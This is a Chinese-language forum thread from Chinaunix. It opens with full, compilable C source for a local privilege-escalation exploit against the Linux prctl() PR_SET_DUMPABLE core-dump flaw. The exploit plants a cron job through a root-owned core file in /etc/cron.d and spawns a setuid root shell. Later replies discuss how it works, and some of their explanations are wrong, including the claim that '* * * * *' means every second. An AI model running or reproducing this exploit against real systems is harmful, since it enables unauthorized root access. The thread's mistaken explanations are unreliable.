免费注册 查看新帖 |

Chinaunix

  平台 论坛 博客 文库
最近访问板块 发新帖
查看: 3487 | 回复: 8
打印 上一主题 下一主题

一个提升权限的程序 [复制链接]

论坛徽章:
0
跳转到指定楼层
1 [收藏(0)] [报告]
发表于 2008-05-31 18:45 |只看该作者 |倒序浏览
一个攻击程序
//Linux Kernel的prctl()调用在处理Core Dump时存在漏洞,本地攻击者可能利用此漏洞提升自己的权限。

//prctl()调用允许未授权进程设置PR_SET_DUMPABLE=2,因此当发生段错误时,产生的core文件将被root用户拥有。
//本地用户可以创建恶意程序,将core文件dump到正常情况下无权写入的目录中。
//这可能导致拒绝服务(磁盘耗尽)或获得root权限。


#include <sys/types.h>
#include <sys/time.h>
#include <sys/resource.h>
#include <sys/prctl.h>
#include <unistd.h>
#include <stdio.h>
#include <errno.h>
#include <signal.h>
#include <stdlib.h>
#include <time.h>

#define CROND "/etc/cron.d"
#define BUFSIZE 2048


struct rlimit myrlimit={RLIM_INFINITY, RLIM_INFINITY};

char        crontemplate[]=
"#/etc/cron.d/core suid_dumpable exploit\n"
"SHELL=/bin/sh\n"
"PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin\n"
"#%s* * * * *        root         chown root:root %s && chmod 4755 %s && rm -rf %s && kill -USR1 %d\n";

char        cronstring[BUFSIZE];
char        fname[BUFSIZE];

struct timeval te;

void sh(int sn) {
        execl(fname, fname, (char *) NULL);
}
       

int        main(void) {

        int nw, pid;

        if (geteuid() == 0) {
                printf("[+] getting root shell\n");
                setuid(0);
                setgid(0);
                if (execl("/bin/sh", "/bin/sh", (char *) NULL)) {
                        perror("[-] execle");
                        return 1;
                }
        }/*获得一个有root权限的shell*/

        printf("\nprctl() suidsafe exploit\n");

        /* get our file name */
        // 读取文件名,/proc/self/exe 表示当前可执行文件,(即你编译出来的 exp )
        // 这里读出来的 fname 下面将会用到的
        if (readlink("/proc/self/exe", fname, sizeof(fname)) == -1) {
                perror("[-] readlink");
                printf("This is not fatal, rewrite the exploit\n");
        }


        if (signal(SIGUSR1, sh) == SIG_ERR) {
                perror("[-] signal");
                return 1;
        }
        printf("[+] Installed signal handler\n");

        /* Let us create core files */
       
        setrlimit(RLIMIT_CORE, &myrlimit);
       
        // 更改生成core文件的 /etc/cron.d 目录,这个目录是参生core文件的目录
        if (chdir(CROND) == -1) {
                perror("[-] chdir");
                return 1;
        }

        if (prctl(PR_SET_DUMPABLE, 2) == -1) {
                perror("[-] prtctl");
                printf("Is you kernel version >= 2.6.13 ?\n");
                return 1;
        }

        printf("[+] We are suidsafe dumpable!\n");

        nw=snprintf(cronstring, sizeof(cronstring), crontemplate, "\n", fname, fname, CROND"/core", getpid());
        if (nw >= sizeof(cronstring)) {
                printf("[-] cronstring is too small\n");
                return 1;
        }
        printf("[+] Malicious string forged\n");

        // 创建子进程,把子进程号赋值给 pid
        if ((pid=fork()) == -1) {
                perror("[-] fork");
                return 1;
        }

        if (pid == 0) {
                /* This is not the good way to do it ;) */
                sleep(120);
                exit(0);
        }

        /* SEGFAULT the child */
        printf("[+] Segfaulting child\n");
       
        if (kill(pid, 11) == -1) {/* 像一个并不存在的进程发送信号,返回-1*/
                perror("[-] kill");
                return 1;
        }

        if (gettimeofday(&te, NULL) == 0)
                printf("[+] Waiting for exploit to succeed (~%ld seconds)\n", 60 - (te.tv_sec%60));
        sleep(120);

        printf("[-] It looks like the exploit failed\n");

        return 1;
}

哪个高手能告诉我,这个程序是怎样获得root权限的?

论坛徽章:
0
2 [报告]
发表于 2008-05-31 19:34 |只看该作者
牛X

论坛徽章:
0
3 [报告]
发表于 2008-06-01 14:33 |只看该作者
// 创建子进程,把子进程号赋值给 pid
        if ((pid=fork()) == -1) {
                perror("[-] fork");
                return 1;
        }
if (kill(pid, 11) == -1) {/* 像一个并不存在的进程发送信号,返回-1*/
                perror("[-] kill");
                return 1;
        }

这个解释是不对的,应该是执行kill系统调用,向子进程发送11号信号即SIGSEGV信号,使得子进程断错误,参生dump文件到前面chdir函数修改的路径中,因为普通用户是没有权限不能读取前面的chdir()修改的路径的,但是在2.6.13版本的内核到2.6.17的内核中,允许prctl系统调用第二个参数的之设为2,便于调试(详细请参阅"man prctl")。

可能是子进程产生断错误后prctl系统调用要往原来没有权限的目录写root只读的dump文件,就需要提升自己的权限,这时把父进程给kill掉,(见代码中kill -USR1 %d\n"),权限可能没有来得及回收,获得权限。也可能是提权以后执行那段shell,修改了程序让程序具有suid属性,当再次调用执行这个程序的时候就能获得root权限,这里是如何调用shell的我也是很不理解。

[ 本帖最后由 hongmy525 于 2008-6-1 14:35 编辑 ]

论坛徽章:
0
4 [报告]
发表于 2008-06-02 10:32 |只看该作者

回复 #3 hongmy525 的帖子

谢你了啊,
现在有两个问题:
shell脚本什么时候被执行的?
为什么要sleep(120)?
为什么要用一个页面的大小来存放脚本?

[ 本帖最后由 mzj1984cs 于 2008-6-2 10:33 编辑 ]

论坛徽章:
0
5 [报告]
发表于 2008-06-03 17:01 |只看该作者

回复 #4 mzj1984cs 的帖子

生成的core文件在 CROND目录下,
#define CROND "/etc/cron.d"
。。。
chdir(CROND)
。。。
而/etc/corn.d目录下的文件会被crond服务定时执行,于是生成的
core文件就被当作脚本执行了。

论坛徽章:
0
6 [报告]
发表于 2008-06-04 10:59 |只看该作者

回复 #5 hauto 的帖子

谢谢

* * * * *        root         chown root:root

这几个星号是做什么能顺便告知一下嘛:)

core文件里面得shell是如何被执行的还是不太理解,查了e4gle大侠得文章,<<从core映像文件中重新构造ELF可执行文件>>,但是没有见这个程序执行了相关的操作~,能再说稍细点儿嘛?

论坛徽章:
0
7 [报告]
发表于 2008-06-04 12:36 |只看该作者

回复 #6 hongmy525 的帖子

这几个星号的作用你可以看一看crond服务方面的资料。
给个连接自己看吧
http://www.host01.com/article/se ... 542417263194023.htm

我以这个c文件,修改了一下,产生了一个core文件,然后以文本方式打开(不是以二进制文件打开),里边有这几行:
。。。。。

SHELL=/bin/sh
PATH=/usr/bin:/usr/sbin:/sbin:/bin
* * * * *   root   chown root /tmp/pwned; chmod 4755 /tmp/pwned; rm -f /etc/cron.d/core
。。。。。
得说明一下,不是你的这个文件,不过大概差不多。
core文件的其他部分都是乱码,不过这几行确实是能执行的。
我想,大概cron服务读取这个文件然后逐行解释执行各行代码,当然
乱码的行不能执行甚么东西,但解释道这几行就执行了你想做的了。
另外这个cron.d目录下的cron.d作业不是shell脚本。语法规则当然也不一样了。这几个星号是说甚么时候执行命令。
我也是瞎猜得,也不知道对不?
对crond服务我也不大明白,这个core文件应该是只读的,不知道crond作业是不是要求是有可执行权限?或者是没有执行权限也可以?

论坛徽章:
0
8 [报告]
发表于 2008-06-05 09:27 |只看该作者

回复 #7 hauto 的帖子

谢拉,我周末也试试

论坛徽章:
0
9 [报告]
发表于 2008-06-08 13:56 |只看该作者

回复 #6 hongmy525 的帖子


  1. * * * * * command
复制代码

每一秒都运行command命令。

这里的意思是立刻运行后面的一系列命令,在命令中又删除了自己,但是已经向expolit程序发送了USR1信号。

因为cron服务运行是有时间间隔的,所以expolit程序中加上了sleep。
您需要登录后才可以回帖 登录 | 注册

本版积分规则 发表回复

  

北京盛拓优讯信息技术有限公司. 版权所有 京ICP备16024965号-6 北京市公安局海淀分局网监中心备案编号:11010802020122 niuxiaotong@pcpop.com 17352615567
未成年举报专区
中国互联网协会会员  联系我们:huangweiwei@itpub.net
感谢所有关心和支持过ChinaUnix的朋友们 转载本站内容请注明原作者名及出处

清除 Cookies - ChinaUnix - Archiver - WAP - TOP